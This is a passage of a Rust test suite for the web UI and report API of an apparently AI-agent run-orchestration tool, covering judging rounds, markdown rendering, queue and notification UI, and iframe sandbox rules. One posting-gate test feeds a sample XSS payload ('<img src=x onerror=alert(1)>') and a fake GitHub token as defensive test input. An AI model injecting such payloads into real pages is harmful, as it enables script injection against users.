20382                        "body": "I prefer candidate **A** because it has cleaner tests.",
20383                        "tentative": "A"
20384                    }
20385                ]
20386            },
20387            {
20388                "round": 2,
20389                "turns": [
20390                    {
20391                        "judge": 1,
20392                        "agent": "judge-1",
20393                        "body": "Still thinking, no choice yet.",
20394                        "tentative": null
20395                    }
20396                ]
20397            }
20398        ]);
20399        std::fs::write(&path, v.to_string()).unwrap();
20400
20401        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20402        assert_eq!(res.status, 200, "{}", res.body);
20403        let j = res.json();
20404        let judging = j["sections"]
20405            .as_array()
20406            .unwrap()
20407            .iter()
20408            .find(|s| s["kind"] == "judging")
20409            .expect("judging section exists");
20410
20411        // Existing summary lines remain intact
20412        let delib_lines = judging["deliberation"].as_array().unwrap();
20413        assert_eq!(delib_lines.len(), 2);
20414        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
20415        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
20416
20417        // rounds carry turn bodies, tentative and parsed body_md
20418        let rounds = judging["rounds"].as_array().unwrap();
20419        assert_eq!(rounds.len(), 2);
20420        let r1_t0 = &rounds[0]["turns"][0];
20421        assert_eq!(r1_t0["judge"], 1);
20422        assert_eq!(r1_t0["agent"], "judge-1");
20423        assert_eq!(r1_t0["tentative"], "A");
20424        assert_eq!(
20425            r1_t0["body"],
20426            "I prefer candidate **A** because it has cleaner tests."
20427        );
20428        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
20429
20430        let r2_t0 = &rounds[1]["turns"][0];
20431        assert_eq!(r2_t0["judge"], 1);
20432        assert_eq!(r2_t0["agent"], "judge-1");
20433        assert!(r2_t0["tentative"].is_null());
20434        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
20435        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
20436
20437        // A run with empty deliberation array yields empty rounds
20438        let id_empty = "20260902-140504-nodelib";
20439        write_run(&f.runs(), id_empty, RunStatus::Merged);
20440        let path_empty = f.runs().join(id_empty).join("run.json");
20441        let mut v_empty: serde_json::Value =
20442            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
20443        v_empty["judgements"] = serde_json::json!([
20444            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20445        ]);
20446        v_empty["deliberation"] = serde_json::json!([]);
20447        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
20448
20449        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
20450        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
20451        let j_empty = res_empty.json();
20452        let judging_empty = j_empty["sections"]
20453            .as_array()
20454            .unwrap()
20455            .iter()
20456            .find(|s| s["kind"] == "judging")
20457            .expect("judging section exists");
20458        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
20459    }
20460
20461    #[tokio::test]
20462    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
20463        let f = Fixture::start().await;
20464
20465        let html = f.get("/").await;
20466        let css = f.get("/app.css").await;
20467        let js = f.get("/app.js").await;
20468
20469        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
20470        assert!(
20471            html.headers
20472                .contains("content-type: text/html; charset=utf-8")
20473        );
20474        assert!(css.headers.contains("content-type: text/css"));
20475        assert!(js.headers.contains("content-type: text/javascript"));
20476        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20477    }
20478
20479    #[test]
20480    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20481        let body = |name: &str| {
20482            let at = APP_JS
20483                .find(name)
20484                .unwrap_or_else(|| panic!("{name} missing"));
20485            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20486        };
20487        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
20488        let note = body("function landRoundNote");
20489        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
20490        assert!(note.contains("Land round ${round}"));
20491        let land = body("function renderLand");
20492        let note_at = land
20493            .find("landRoundNote(pr)")
20494            .expect("renderLand uses the note");
20495        assert!(
20496            note_at
20497                < land
20498                    .find("roundRail(pr)")
20499                    .expect("renderLand uses the rail")
20500        );
20501    }
20502
20503    #[test]
20504    fn the_runs_page_redesign_keeps_its_guards() {
20505        let body = |name: &str| {
20506            let at = APP_JS
20507                .find(name)
20508                .unwrap_or_else(|| panic!("{name} missing"));
20509            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20510        };
20511        // A null child must never reach the native append (it prints "null").
20512        let land = body("function renderLand");
20513        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
20514        assert!(
20515            !land.contains("box.append("),
20516            "renderLand must use append()"
20517        );
20518        assert!(land.contains("append(box, ["));
20519        // Tabs are hash routes; the run id alone decides a reload.
20520        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
20521        assert!(
20522            body("function applyRoute")
20523                .contains("route.name !== state.route.name || route.id !== state.route.id")
20524        );
20525        // The decorative diagram is gone, the strip and its guards stay.
20526        assert!(!APP_JS.contains("adviseConvergeDiagram"));
20527        assert!(!INDEX_HTML.contains("advise-converge"));
20528        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
20529        assert!(APP_JS.contains("provisional"));
20530        for id in [
20531            "run-tab-overview",
20532            "run-tab-timeline",
20533            "run-tab-report",
20534            "run-report",
20535            "runs-scope",
20536        ] {
20537            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
20538        }
20539        assert!(!INDEX_HTML.contains("runs-tree"));
20540        assert!(!INDEX_HTML.contains("run-raw-panel"));
20541        // Fold still says it cannot be resumed.
20542        assert!(APP_JS.contains("resume"));
20543        // The unreadable-runs count stays on the page.
20544        assert!(APP_JS.contains("unreadable"));
20545    }
20546
20547    #[test]
20548    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
20549        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
20550        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
20551        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
20552        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
20553        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
20554        // The subtitle still counts them whatever the banner does.
20555        assert!(APP_JS.contains("unreadable` : null"));
20556    }
20557
20558    #[test]
20559    fn blocked_run_detail_exposes_the_failed_gate_reason() {
20560        let mut state = RunState::new(
20561            "/repo".into(),
20562            "main".into(),
20563            "abc".into(),
20564            "task".into(),
20565            crate::config::Config::default(),
20566        );
20567        state.status = RunStatus::Blocked;
20568        state.gate_ran = true;
20569        state.gate.push(crate::run::CommandOutcome {
20570            command: "cargo make check".into(),
20571            code: Some(1),
20572            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
20573            duration_ms: 0,
20574            resource_blocked: false,
20575        });
20576        let view = RunDetailView::of(
20577            state,
20578            false,
20579            crate::run::Liveness::Unknown,
20580            None,
20581            None,
20582            None,
20583        );
20584        let value = serde_json::to_value(view).unwrap();
20585        assert_eq!(
20586            value["stop_reason"],
20587            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
20588        );
20589    }
20590
20591    #[test]
20592    fn the_run_detail_payload_says_whether_the_run_is_done() {
20593        // `landView` reads `run.done`; the detail response must carry it.
20594        for (status, done) in [
20595            (RunStatus::Superseded, true),
20596            (RunStatus::Blocked, true),
20597            (RunStatus::Landing, false),
20598        ] {
20599            let mut state = RunState::new(
20600                std::path::PathBuf::from("/repo"),
20601                "main".to_owned(),
20602                "abc".to_owned(),
20603                "x".to_owned(),
20604                crate::config::Config::default(),
20605            );
20606            state.status = status;
20607            let v = serde_json::to_value(RunDetailView::of(
20608                state,
20609                false,
20610                crate::run::Liveness::Unknown,
20611                None,
20612                None,
20613                None,
20614            ))
20615            .unwrap();
20616            assert_eq!(v["done"], done, "{status:?}");
20617        }
20618    }
20619
20620    /// The first node of a markdown block holds a `strong` somewhere.
20621    fn has_strong(nodes: &[md::Node]) -> bool {
20622        serde_json::to_string(nodes).unwrap().contains("strong")
20623    }
20624
20625    #[test]
20626    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
20627        let mut state = RunState::new(
20628            std::path::PathBuf::from("/repo"),
20629            "main".to_owned(),
20630            "abc".to_owned(),
20631            "x".to_owned(),
20632            crate::config::Config::default(),
20633        );
20634        let proposal = |approach: &str| {
20635            serde_json::json!({
20636                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
20637            })
20638        };
20639        state.advice = Some(
20640            serde_json::from_value(serde_json::json!({
20641                "records": [
20642                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
20643                     "proposal": proposal("do **this**")},
20644                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
20645                ],
20646                "synthesis": "- one\n- **two**\n\n`code`",
20647            }))
20648            .unwrap(),
20649        );
20650        state.candidates = serde_json::from_value(serde_json::json!([
20651            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
20652             "summary": "did **it**"},
20653            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
20654        ]))
20655        .unwrap();
20656        // Recorded in ascending severity, the reverse of how the page sorts
20657        // them: the arrays must follow the record, not the display.
20658        state.reviews = serde_json::from_value(serde_json::json!([{
20659            "round": 1, "head": "h",
20660            "reviews": [{
20661                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
20662                "findings": [
20663                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
20664                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
20665                ],
20666            }],
20667            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
20668            "fix": {"agent": "a", "notes": "fixed **it**",
20669                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
20670        }, {"round": 2, "head": "h2", "reviews": []}]))
20671        .unwrap();
20672
20673        let v = serde_json::to_value(RunDetailView::of(
20674            state,
20675            false,
20676            crate::run::Liveness::Unknown,
20677            None,
20678            None,
20679            None,
20680        ))
20681        .unwrap();
20682
20683        let strong = |p: &str| {
20684            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
20685            assert!(n.to_string().contains("strong"), "{p}: {n}");
20686        };
20687        strong("/advice_md/synthesis");
20688        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
20689        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
20690        strong("/advice_md/approaches/0");
20691        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
20692        strong("/candidate_summaries_md/0");
20693        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
20694        strong("/reviews_md/0/reviewers/0/summary");
20695        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
20696        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
20697        assert!(f[1].to_string().contains("strong"));
20698        strong("/reviews_md/0/reconsideration/0");
20699        strong("/reviews_md/0/fix/notes");
20700        strong("/reviews_md/0/fix/rejected/0");
20701        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
20702        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
20703        // The raw strings stay, and no schema moved.
20704        assert_eq!(v["candidates"][0]["summary"], "did **it**");
20705        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
20706    }
20707
20708    #[test]
20709    fn a_run_without_advice_has_no_advice_md() {
20710        let state = RunState::new(
20711            std::path::PathBuf::from("/repo"),
20712            "main".to_owned(),
20713            "abc".to_owned(),
20714            "x".to_owned(),
20715            crate::config::Config::default(),
20716        );
20717        let p = run_prose_md(&state);
20718        assert!(p.advice_md.is_none());
20719        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
20720    }
20721
20722    #[test]
20723    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
20724        let store = ask::Questions::at(PathBuf::from("unused"));
20725        let gt = crate::github_text::Withheld {
20726            title: false,
20727            body: true,
20728            categories: vec!["sensitive-data".into()],
20729        };
20730        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
20731        let (detail, comparison) =
20732            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20733        let mut q = Question::new(
20734            "r".into(),
20735            "github-text".into(),
20736            "posting-gate".into(),
20737            "s".into(),
20738            detail,
20739            Vec::new(),
20740        );
20741        assert!(
20742            QuestionView::of(q.clone(), &store, None)
20743                .posting_view
20744                .is_none()
20745        );
20746        q.posting_comparison = Some(comparison);
20747        let view = QuestionView::of(q.clone(), &store, None);
20748        let field = &view.posting_view.unwrap().fields[0];
20749        assert_eq!(
20750            field
20751                .original
20752                .iter()
20753                .map(|f| f.text.as_str())
20754                .collect::<String>(),
20755            body
20756        );
20757        assert!(field.original[0].text.starts_with("<img"));
20758        let original_question: Question =
20759            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
20760        assert_eq!(original_question, q);
20761        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
20762            .original
20763            .start = 1;
20764        assert!(
20765            QuestionView::of(q.clone(), &store, None)
20766                .posting_view
20767                .is_none()
20768        );
20769        q.posting_comparison = original_question.posting_comparison;
20770        q.detail.push_str("extra context");
20771        assert!(
20772            QuestionView::of(q.clone(), &store, None)
20773                .posting_view
20774                .is_some()
20775        );
20776        q.detail.insert(0, 'x');
20777        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
20778    }
20779
20780    #[test]
20781    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
20782        let store = ask::Questions::at(PathBuf::from("unused"));
20783        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
20784        let gt = crate::github_text::Withheld::from_check(
20785            &crate::github_text::check("fix: x", body),
20786            "fix: x",
20787            body,
20788        )
20789        .unwrap();
20790        let (detail, comparison) =
20791            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
20792        let mut q = Question::new(
20793            "r".into(),
20794            "github-text".into(),
20795            "posting-gate".into(),
20796            "s".into(),
20797            detail,
20798            Vec::new(),
20799        );
20800        q.posting_comparison = Some(comparison);
20801        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
20802        let field = &value["posting_view"]["fields"][0];
20803        let group = &field["replacement_group"];
20804        let triggers = group["triggers"].as_array().unwrap();
20805        assert_eq!(triggers.len(), 2);
20806        assert_ne!(triggers[0], triggers[1]);
20807        for id in triggers {
20808            assert!(
20809                field["original"]
20810                    .as_array()
20811                    .unwrap()
20812                    .iter()
20813                    .any(|f| &f["pair"] == id)
20814            );
20815            assert!(
20816                !field["changed"]
20817                    .as_array()
20818                    .unwrap()
20819                    .iter()
20820                    .any(|f| &f["pair"] == id)
20821            );
20822        }
20823        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
20824            group["id"].as_u64().unwrap() as usize;
20825        assert!(
20826            QuestionView::of(q, &store, None).posting_view.is_none(),
20827            "group and trigger IDs cannot collide"
20828        );
20829    }
20830
20831    #[test]
20832    fn a_question_view_carries_markdown_for_each_thread_turn() {
20833        let home = TempDir::new().unwrap();
20834        let store = ask::Questions::at(home.path().join("questions"));
20835        let mut q = Question::new(
20836            "run".to_owned(),
20837            "implement".to_owned(),
20838            "impl-A".to_owned(),
20839            "which?".to_owned(),
20840            String::new(),
20841            Vec::new(),
20842        );
20843        q.say("plain words").unwrap();
20844        q.reply("use **this**", Vec::new()).unwrap();
20845        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20846        let bodies = &v["thread_bodies_md"];
20847        assert_eq!(bodies.as_array().unwrap().len(), 2);
20848        assert!(!bodies[0].to_string().contains("strong"));
20849        assert!(bodies[1].to_string().contains("strong"));
20850    }
20851
20852    #[test]
20853    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
20854        let home = TempDir::new().unwrap();
20855        let store = ask::Questions::at(home.path().join("questions"));
20856        let mut q = Question::new(
20857            "run".to_owned(),
20858            "conduct".to_owned(),
20859            "conduct".to_owned(),
20860            "which?".to_owned(),
20861            String::new(),
20862            Vec::new(),
20863        );
20864        q.say("plain words").unwrap();
20865        q.thread.push(ask::Turn {
20866            who: ask::Who::Agent,
20867            body: "Settled as `merge`".to_owned(),
20868            at: jiff::Timestamp::now(),
20869            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
20870        });
20871        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
20872        let notes = &v["thread_notes_md"];
20873        assert_eq!(notes.as_array().unwrap().len(), 2);
20874        assert!(notes[0].is_null());
20875        let text = notes[1].to_string();
20876        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
20877        assert!(APP_JS.contains("ask-turn-note"));
20878    }
20879
20880    #[test]
20881    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
20882        // The land panel defers to `run.status` for merged, and labels a
20883        // recorded-open PR on any finished run (superseded, blocked, ...) as
20884        // last seen, never as live state.
20885        assert!(APP_JS.contains("function landView(run, raw) {"));
20886        assert!(
20887            APP_JS.contains(
20888                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
20889            )
20890        );
20891        assert!(APP_JS.contains("const pr = landView(run, raw);"));
20892        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
20893        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
20894        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
20895    }
20896
20897    #[test]
20898    fn live_runs_are_never_hidden_or_folded_as_superseded() {
20899        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
20900        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
20901        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
20902        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
20903    }
20904
20905    #[test]
20906    fn review_rounds_label_a_distinct_verified_head() {
20907        assert!(APP_JS.contains("round.verified_head"));
20908        assert!(APP_JS.contains("verified HEAD"));
20909        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
20910    }
20911
20912    #[test]
20913    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
20914        // A blocked task's chip and note must not fall back to a queued-like
20915        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
20916        // itself by e11fc58 but never checked here.
20917        assert!(APP_JS.contains("blocked: { glyph:"));
20918        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
20919
20920        // `blocked_by` mixes task ids and question ids in the same list, and
20921        // the client can only tell them apart by checking each id against
20922        // what it actually knows - never by guessing from the id's shape.
20923        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
20924        assert!(
20925            APP_JS.contains(
20926                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
20927            ),
20928            "the note line must name what a blocked task is waiting on, not just that it is blocked"
20929        );
20930        // The classification must key off `status_str`, never off `blocked_by`
20931        // or `block_reason` merely being present - both can survive briefly
20932        // on a task a hold or a dead daemon just moved off `blocked`.
20933        assert!(APP_JS.contains("if (status === \"blocked\") {"));
20934
20935        // A question a task is blocked on gets its own node in the same
20936        // dependency graph, not just a task-shaped node with nothing known
20937        // about it.
20938        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
20939        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
20940        assert!(
20941            APP_JS.contains("location.hash = \"#/questions\";"),
20942            "a question node must jump to the Questions screen, not pretend to be a task"
20943        );
20944
20945        // `Task::answers` - decisions already made - are shown as a record on
20946        // the card, the same disclosure style as the full instruction.
20947        assert!(APP_JS.contains("Resolved questions"));
20948        assert!(APP_JS.contains("r.answersList.append("));
20949        assert!(APP_CSS.contains(".task-answers"));
20950        {
20951            let start = APP_JS
20952                .find("function updateTalkTaskRow")
20953                .expect("updateTalkTaskRow");
20954            let body = &APP_JS[start..];
20955            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
20956            assert!(
20957                body.contains(
20958                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
20959                ),
20960                "a chat-filed task row must link to the task page"
20961            );
20962            assert!(
20963                !body.contains("#/runs/") && !body.contains("#/queue/"),
20964                "the row must not branch to a run or the queue card"
20965            );
20966            assert!(APP_CSS.contains(".talk-task-link"));
20967        }
20968    }
20969
20970    #[test]
20971    fn a_task_notification_links_to_the_task_page() {
20972        // A task notice opens the task detail page, not the Backlog card.
20973        let start = APP_JS
20974            .find("function noticeLink(")
20975            .expect("noticeLink exists");
20976        let body = &APP_JS[start..];
20977        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
20978        assert!(
20979            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
20980            "a task notice's link must target the task page"
20981        );
20982        assert!(
20983            !body.contains("#/queue/"),
20984            "regression: the task link must not go back to the Backlog route"
20985        );
20986        assert!(
20987            APP_JS.contains(
20988                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
20989            ),
20990            "`#/tasks/<id>` must parse into the task route"
20991        );
20992
20993        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
20994        assert!(
20995            APP_JS.contains(
20996                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
20997            ),
20998            "`#/queue/<id>` must parse into a route carrying that id"
20999        );
21000
21001        // And the Backlog view has to actually land on the card once it can
21002        // - see consumeQueueFocus(), which renderQueue() calls on every pass
21003        // so a focus set before the queue has loaded is retried once it has.
21004        assert!(APP_JS.contains("state.queueFocus = route.id;"));
21005        assert!(APP_JS.contains("function consumeQueueFocus()"));
21006        assert!(APP_JS.contains("jumpToTask(id)"));
21007    }
21008
21009    #[test]
21010    fn notifications_distinguish_actionable_questions_from_informational_notices() {
21011        let start = APP_JS
21012            .find("function noticeCoveredBy(")
21013            .expect("noticeCoveredBy exists");
21014        let body = &APP_JS[start..];
21015        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21016
21017        // Historical associations are informational, even for open questions.
21018        assert!(body.contains("Associated question ${short}"));
21019        assert!(!body.contains("el(\"a\""));
21020
21021        // A resolved question displays status rather than an actionable link
21022        assert!(body.contains("(resolved)"));
21023        assert!(body.contains("(closed)"));
21024
21025        let start = APP_JS
21026            .find("function renderNotifications()")
21027            .expect("renderNotifications exists");
21028        let body = &APP_JS[start..];
21029        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21030
21031        // Only a server-resolved answerable question supplies a response link.
21032        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21033        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21034        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
21035        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21036    }
21037
21038    /// Chat rows are two lines at every width: the title alone, then the
21039    /// shrinkable secondary info.
21040    #[test]
21041    fn chat_rows_put_the_title_alone_on_the_first_line() {
21042        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
21043        assert!(APP_CSS.contains(
21044            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21045        ));
21046        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21047        assert!(APP_JS.contains("class: \"badge talk-unread\""));
21048    }
21049
21050    #[test]
21051    fn run_rows_put_the_title_alone_on_the_first_line() {
21052        assert!(
21053            APP_CSS.contains(
21054                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
21055            )
21056        );
21057        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21058        assert!(APP_JS.contains("class: \"card run-card\""));
21059        assert!(APP_JS.contains("class: \"repo run-id\""));
21060    }
21061
21062    /// Wide screens get a master/detail layout built from the views a phone
21063    /// drills into. These are string assertions: they pin the contract between
21064    /// the three assets, not how it looks.
21065    #[test]
21066    fn wide_screens_show_list_and_preview_side_by_side() {
21067        // One breakpoint, spelled the same in the script and the stylesheet.
21068        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21069        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21070        assert!(APP_CSS.contains("main[data-split]"));
21071        assert!(APP_CSS.contains("body[data-split]"));
21072
21073        // The route -> panes table, and a narrow screen opting out of it.
21074        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
21075        assert!(
21076            APP_JS.contains(
21077                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21078            )
21079        );
21080        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21081        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21082        assert!(INDEX_HTML.contains("id=\"split-empty\""));
21083
21084        // Selection is derived from the route, and only ever paints a row.
21085        assert!(APP_JS.contains("function markSelected() {"));
21086        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21087        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21088        // The dense row must override the stacked card the 720px block sets up.
21089        assert!(
21090            APP_CSS.contains(
21091                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21092            )
21093        );
21094
21095        // Independent scrolling: the page stops scrolling, each pane does.
21096        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21097        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21098        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21099        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21100
21101        // A refresh must never navigate: the loaders still check that their
21102        // subject is the one on screen, and crossing the breakpoint only
21103        // re-reads the hash.
21104        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21105        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21106        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21107        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21108
21109        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
21110        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21111    }
21112
21113    #[test]
21114    fn panel_sandbox_carries_exactly_popups() {
21115        let needle = "sandbox: \"";
21116        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21117        assert_eq!(
21118            matches.len(),
21119            1,
21120            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21121        );
21122        let start = matches[0].0 + needle.len();
21123        let end = APP_JS[start..]
21124            .find('"')
21125            .expect("sandbox attribute value must be terminated by a closing quote");
21126        let val = &APP_JS[start..start + end];
21127        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21128        let expected: std::collections::BTreeSet<&str> =
21129            ["allow-popups", "allow-popups-to-escape-sandbox"]
21130                .into_iter()
21131                .collect();
21132        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21133        assert!(
21134            !tokens.contains("allow-scripts"),
21135            "allow-scripts must never be present in sandbox"
21136        );
21137        assert!(
21138            !tokens.contains("allow-same-origin"),
21139            "allow-same-origin must never be present in sandbox"
21140        );
21141    }
21142
21143    #[test]
21144    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21145        // consumeQueueFocus() clears an active Backlog search before it can
21146        // scroll to the target card (the sections list is hidden while a
21147        // search is showing), by recursing back into renderQueue(). The
21148        // fixer's first cut nulled state.queueFocus before that recursive
21149        // call, so the second pass saw nothing to jump to and the jump was
21150        // silently dropped whenever a notification's link was opened with a
21151        // stale search still active. state.queueFocus must only be cleared
21152        // right before jumpToTask() actually runs.
21153        assert!(
21154            APP_JS.contains(
21155                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
21156            ),
21157            "the search-clearing branch must run before state.queueFocus is cleared, or the \
21158             recursive renderQueue() call has nothing left to jump to"
21159        );
21160        assert!(
21161            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21162            "state.queueFocus must be cleared only once the jump has landed, so a card that \
21163             arrives later still gets it"
21164        );
21165        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21166        assert!(APP_JS.contains("is not in the current Backlog."));
21167        assert!(APP_JS.contains("li.card[data-task-id=\""));
21168        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21169        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21170        assert!(APP_CSS.contains(".card-permalink"));
21171        assert!(APP_CSS.contains(".queue-focus-status"));
21172        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
21173    }
21174
21175    #[test]
21176    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
21177        // The task's own repro: only the link text inside .notice-meta was
21178        // clickable, so a tap on the message, the timestamp, or the card's
21179        // padding did nothing - on a phone that reads as "the card doesn't
21180        // work" even though the tiny link inside it did. Mark read / Dismiss
21181        // must keep working independently of this: `.closest("a, button")`
21182        // is what lets a tap that actually lands on those elements fall
21183        // through instead of being hijacked into a navigation.
21184        assert!(
21185            APP_JS.contains(
21186                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
21187            ),
21188            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
